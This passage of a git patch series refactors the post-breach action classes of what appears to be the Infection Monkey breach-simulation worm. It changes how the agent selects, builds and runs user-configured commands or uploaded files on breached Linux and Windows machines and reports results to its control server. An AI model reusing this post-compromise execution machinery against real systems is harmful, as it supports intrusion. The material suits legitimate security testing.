WormConfiguration.PBA_windows_filename + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) + self.command = DEFAULT_WINDOWS_COMMAND.format(file_path) + self.filename = WormConfiguration.PBA_windows_filename + elif WormConfiguration.custom_PBA_windows_cmd: + self.command = WormConfiguration.custom_PBA_windows_cmd def _execute_default(self): - UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) + if self.filename: + UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) return super(UsersPBA, self)._execute_default() + def should_run(self, class_name): + return self.command + @staticmethod def download_pba_file(dst_dir, filename): """ @@ -53,38 +82,3 @@ class UsersPBA(PBA): except IOError as e: LOG.error("Can not upload post breach file to target machine: %s" % e) return False - - @staticmethod - def get_pba(): - """ - Creates post breach actions depending on users input into 'custom post breach' config section - :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) - """ - command_pba_name = "Custom command" - - if not is_windows_os(): - # Add linux commands to PBA's - if WormConfiguration.PBA_linux_filename: - if WormConfiguration.custom_PBA_linux_cmd: - # Add change dir command, because user will try to access his file - command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd - return UsersPBA(command, WormConfiguration.PBA_linux_filename) - else: - file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) - command = DEFAULT_LINUX_COMMAND.format(file_path) - return UsersPBA(command, WormConfiguration.PBA_linux_filename) - elif WormConfiguration.custom_PBA_linux_cmd: - return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_linux_cmd) - else: - # Add windows commands to PBA's - if WormConfiguration.PBA_windows_filename: - if WormConfiguration.custom_PBA_windows_cmd: - # Add change dir command, because user will try to access his file - command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd - return UsersPBA(command, WormConfiguration.PBA_windows_filename) - else: - file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) - command = DEFAULT_WINDOWS_COMMAND.format(file_path) - return UsersPBA(command, WormConfiguration.PBA_windows_filename) - elif WormConfiguration.custom_PBA_windows_cmd: - return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_windows_cmd) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 12de8c760..38c9c13da 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -2,7 +2,7 @@ import logging import subprocess from infection_monkey.control import ControlClient from infection_monkey.utils import is_windows_os -from infection_monkey.config import WormConfiguration, GUID +from infection_monkey.config import WormConfiguration LOG = logging.getLogger(__name__) @@ -14,38 +14,28 @@ class PBA(object): """ Post breach action object. Can be extended to support more than command execution on target machine. """ - def __init__(self, name="unknown", command=""): + def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. :param command: Command that will be executed on breached machine """ - self.command = command + self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name - @staticmethod - def get_pba(): + def get_pba(self): """ - Should be overridden by all child classes. - This method returns a PBA object based on worm's configuration. - :return: An array of PBA objects. + This method returns a PBA object based on a worm's configuration. + Return None or False if you don't want the pba to be executed. + :return: A pba object. """ - raise NotImplementedError() + return self - @staticmethod - def default_get_pba(name, pba_class, linux_cmd="", windows_cmd=""): + def should_run(self, class_name): """ - Default get_pba() method implementation - :param name: PBA name - :param pba_class: class instance. Class's name is matched to config to determine - if corresponding field was enabled in post breach array or not. - :param linux_cmd: commands for linux - :param windows_cmd: commands for windows - :return: post breach action + Decides if post breach action is enabled in config + :return: True if it needs to be ran, false otherwise """ - if pba_class.__name__ in WormConfiguration.post_breach_actions: - command = PBA.choose_command(linux_cmd, windows_cmd) - if command: - return PBA(name, command) + return class_name in WormConfiguration.post_breach_actions def run(self): """ @@ -55,8 +45,7 @@ class PBA(object): result = exec_funct() ControlClient.send_telemetry('post_breach', {'command': self.command, 'result': result, - 'name': self.name, - 'guid': GUID}) + 'name': self.name}) def _execute_default(self): """ diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 65b11276c..17e2a8950 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,6 +1,7 @@ import logging import inspect import importlib +from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.actions import get_pba_files from infection_monkey.utils import is_windows_os @@ -41,10 +42,10 @@ class PostBreach(object): module = importlib.import_module(PATH_TO_ACTIONS + pba_file) # Get all classes in a module pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) - if ((m[1].__module__ == module.__name__) and getattr(m[1], "get_pba", False))] + if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] # Get post breach action object from class for pba_class in pba_classes: - pba = pba_class.get_pba() - if pba: + pba = pba_class() + if pba.should_run(pba_class.__name__): pba_list.append(pba) return pba_list From c9a313b90f27257da2da71c7af669f952d54d5a9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 29 May 2019 10:59:02 +0300 Subject: [PATCH 09/10] UI fix --- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index de29da4e6..75d2b1c93 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -21,7 +21,7 @@ class ConfigurePageComponent extends AuthComponent { this.initialConfig = {}; this.initialAttackConfig = {}; this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; - this.uiSchemas = ConfigurePageComponent.getUiSchemas(); + this.uiSchemas = this.getUiSchemas(); // set schema from server this.state = { schema: {}, @@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent { }; } - static getUiSchemas(){ + getUiSchemas(){ return ({ basic: {"ui:order": ["general", "credentials"]}, basic_network: {}, From b5b2fd7c0efe5c08b4d428217bee1bec6a29b450 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 30 May 2019 09:03:23 +0300 Subject: [PATCH 10/10] PBA created after we check if it's going to run --- .../post_breach/actions/users_custom_pba.py | 11 +++++++++-- monkey/infection_monkey/post_breach/pba.py | 3 ++- .../post_breach/post_breach_handler.py | 4 ++-- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index a297dbd1c..61ec6f5d7 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -58,8 +58,15 @@ class UsersPBA(PBA): UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) return super(UsersPBA, self)._execute_default() - def should_run(self, class_name): - return self.command + @staticmethod + def should_run(class_name): + if not is_windows_os(): + if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd: + return True + else: + if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd: + return True + return False @staticmethod def download_pba_file(dst_dir, filename): diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 38c9c13da..8be04a468 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -30,7 +30,8 @@ class PBA(object): """ return self - def should_run(self, class_name): + @staticmethod + def should_run(class_name): """ Decides if post breach action is enabled in config :return: True if it needs to be ran, false otherwise diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 17e2a8950..8522f412f 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -45,7 +45,7 @@ class PostBreach(object): if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] # Get post breach action object from class for pba_class in pba_classes: - pba = pba_class() - if pba.should_run(pba_class.__name__): + if pba_class.should_run(pba_class.__name__): + pba = pba_class() pba_list.append(pba) return pba_list